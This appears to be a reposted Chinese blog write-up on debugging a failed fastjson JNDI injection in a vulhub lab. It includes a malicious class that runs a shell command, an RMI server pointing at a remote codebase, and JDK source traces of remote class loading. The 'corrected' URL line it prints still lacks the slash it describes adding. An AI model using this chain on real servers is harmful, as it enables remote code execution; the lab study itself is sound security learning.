欢迎您访问365答案网,请分享给你的朋友!
生活常识 学习资料

Java安全学习笔记--一次对JNDI注入失败的问题排查

时间:2023-08-11

目录

前言

 恶意类代码:

RMI注册中心以及服务端代码:

问题一:

问题二

调试

问题三

总结


前言

之前分析了fastjson的jdbcRowSetImpl利用链之后当时也是手写了所用的代码并测试,这里面包括rmi注册中心及服务端还有POC代码,在本地测试成功后我在虚拟机中用vulhub启动了一个fastjson漏洞环境进行测试,但是出了问题,记录一下排查问题的过程。

 恶意类代码:

public class rmiEvilClass { static { try { Runtime.getRuntime().exec(new String[]{"touch","/txt"});//在根目录创建一个txt文件夹 }catch (Exception e){ e.printStackTrace(); } }}

RMI注册中心以及服务端代码:

import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class rmiServer { public static void main(String[] args)throws Exception { String evilClassurl="http://192.168.1.254:8081"; Registry registry= LocateRegistry.createRegistry(1099); Reference reference=new Reference("rmiEvilClass","rmiEvilClaaa",evilClassurl); ReferenceWrapper referenceWrapper=new ReferenceWrapper(reference); registry.bind("hell",referenceWrapper); }}

乍一看没什么问题。。。

问题一:

首先是命令没有执行,当时猜测了很多原因网络不通,端口占用,防火墙,但是一一检测都没有问题,后来没办法只好抓包了,打开抓包有很多arp在找192.168.1.1的地址,这个就不管了 not arp过滤掉,然后开始我们的请求,这里没有截图,在wireshark上只看到了我们向fastjson服务所在端口的发送payload的http报文,以及tcp建立和断开连接的报文,并没有rmi报文。

我的rmi服务端都没什么问题为啥没报文,这里在网上也找了一会,但是相关内容不多,很多复现都是直接利用工具创建的rmi服务。

后来我在反过头看JNDI原理解析的时候,突然想起来,我为了方便把恶意的.class文件和.java文件都放在了运行RMI服务端代码的包下面了,http服务也是在这个文件下面启动的,那这样这个文件不就在CLASSPATH里面了吗,就不会远程调用类了。

在本地测试之后果然是这个问题,我只要修改.java文件就能改变执行的命令,通过python启动的http服务也没有请求记录,我把两个文件放到了其他文件中去时我就可以看到请求记录了。

本地测试截图:

 

但是第二个问题来了:没有请求路径,这说明没有去加载远程恶意类

问题二

没有请求恶意类,又去检查了代码还是感觉没啥问题,为啥不请求恶意类呢?在这里卡了半天在想原因,最后没办法只好调试一遍代码了,之前学jndi注入时也分析过原理了但是没记录下来,这里就当做复习吧。

调试

initialContext.lookup()

public Object lookup(String name) throws NamingException { return getURLOrDefaultInitCtx(name).lookup(name); }

getURLOrdefaultInitCtx()

获取用来解析字符串名称 name 的上下文。如果 name 名称是一个 url 字符串,则试着定位一个用于该字符串的 url 上下文。如果没有找到这样的上下文,或者 name 不是一个 url 字符串,则返回 getdefaultinitctx()。 

getURLOrdefaultInitCtx().lookup()

public Object lookup(String var1) throws NamingException { ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);//var1:rmi://127.0.0.1/evil Context var3 = (Context)var2.getResolvedObj(); Object var4; try { var4 = var3.lookup(var2.getRemainingName()); } finally { var3.close(); } return var4; }

 这里会通过this.getRootURLContext(var1,this,myEnv)获取到rmi注册中心和远程调用的name

 然后var3.lookup()就是通过获取到的注册中心来获取远程调用对象

RegistryContext.lookup()

public Object lookup(Name var1) throws NamingException { if (var1.isEmpty()) { return new RegistryContext(this); } else { Remote var2; try { var2 = this.registry.lookup(var1.get(0));//这时通过注册中心的lookup就可以获取到我们绑定在注册中心的类了 } catch (NotBoundException var4) { throw new NameNotFoundException(var1.get(0)); } catch (RemoteException var5) { throw (NamingException)wrapRemoteException(var5).fillInStackTrace(); } return this.decodeObject(var2, var1.getPrefix(1)); } }

接着调用RegistryContext.decodeObject去解析这个类

private Object decodeObject(Remote var1, Name var2) throws NamingException { try { Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1; return NamingManager.getObjectInstance(var3, var2, this, this.environment);//远程类实现了RemoteReference接口直接return } catch (NamingException var5) { throw var5; } catch (RemoteException var6) { throw (NamingException)wrapRemoteException(var6).fillInStackTrace(); } catch (Exception var7) { NamingException var4 = new NamingException(); var4.setRootCause(var7); throw var4; } }

NamingManager.getObjectInstance()部分代码

if (ref != null) { String f = ref.getFactoryClassName(); if (f != null) { // if reference identifies a factory, use exclusively factory = getObjectFactoryFromReference(ref, f); if (factory != null) { return factory.getObjectInstance(ref, name, nameCtx, environment); }

这里获取了reference实例中的的工厂类名,就是rmiEvilClass,之后获取工厂类,这里还没有请求恶意类。

NamingManager.getObjectFactoryFromReference()

static ObjectFactory getObjectFactoryFromReference( Reference ref, String factoryName) throws IllegalAccessException, InstantiationException, MalformedURLException { Class clas = null; // Try to use current class loader try { clas = helper.loadClass(factoryName); } catch (ClassNotFoundException e) { // ignore and continue // e.printStackTrace(); } // All other exceptions are passed up. // Not in class path; try to use codebase String codebase; if (clas == null && (codebase = ref.getFactoryClassLocation()) != null) { try { clas = helper.loadClass(factoryName, codebase); } catch (ClassNotFoundException e) { } } return (clas != null) ? (ObjectFactory) clas.newInstance() : null; }

首先会在本地的CLASSPATH中找之后再 到去远程的地址中去找这里helper是VersionHelper12类

这里lookup是两个重载方法一个在本地查找一个查找远程

public Class loadClass(String className) throws ClassNotFoundException { return loadClass(className, getContextClassLoader()); }//本地public Class loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException { ClassLoader parent = getContextClassLoader(); ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); return loadClass(className, cl); }//远程 Class loadClass(String className, ClassLoader cl) throws ClassNotFoundException { Class<?> cls = Class.forName(className, true, cl); return cls; }//最终都会调用这个类传入ClassLoader,远程

最后远程加载类

 到目前位置都没有什么问题,也使用FactoryURLClassLoader去加载远程工厂类了但是为什么还是没有路径呢?

想了一会,我想cl作为加载类应该会存着远程加载路径,我决定去看一下FactoryURLClassLoader内的数据,这里又去百度看了一下这个FactoryURLClassLoader类里属性及方法的介绍,知道了ucp属性存贮着类和资源的搜索路径。

 可以看到这里的路径,我觉得也没什么对啊,反复了调试几次又陷入了沉思。

后来也是灵光一闪,一般调试这些类我都会猜测一些功能是怎么实现的,我在想这个路径应该会拼接上rmiEvilClass.class然后发起请求,这里是不是缺一个”/“?是不是我之前写rmi服务端的代码没有写反斜杠?

一翻看代码果然没有,再去看网上的POC果然别人都有反斜杠,先试一试吧,修改了rmi服务端的代码重启rmi服务端,然后本地测试。

String evilClassurl="http://192.168.1.254:8081";

 成功了!!!!!!!!!!!!!!

虽然这只是因为一个反斜杠没写导致的问题,但当找出问题的根源时感觉真的爽。

问题三

但是测试过程中本地的测试代码报错了。

 这个简单就是编译和运行的Java版本不一致,我编译用的本机java8,IEDA的是java7

重新编译并测试:

总结

这次一晚上加一上午的问题排查最终的结果是因为一个反斜杠,收获还是有不少的

Copyright © 2016-2020 www.365daan.com All Rights Reserved. 365答案网 版权所有 备案号:

部分内容来自互联网,版权归原作者所有,如有冒犯请联系我们,我们将在三个工作时内妥善处理。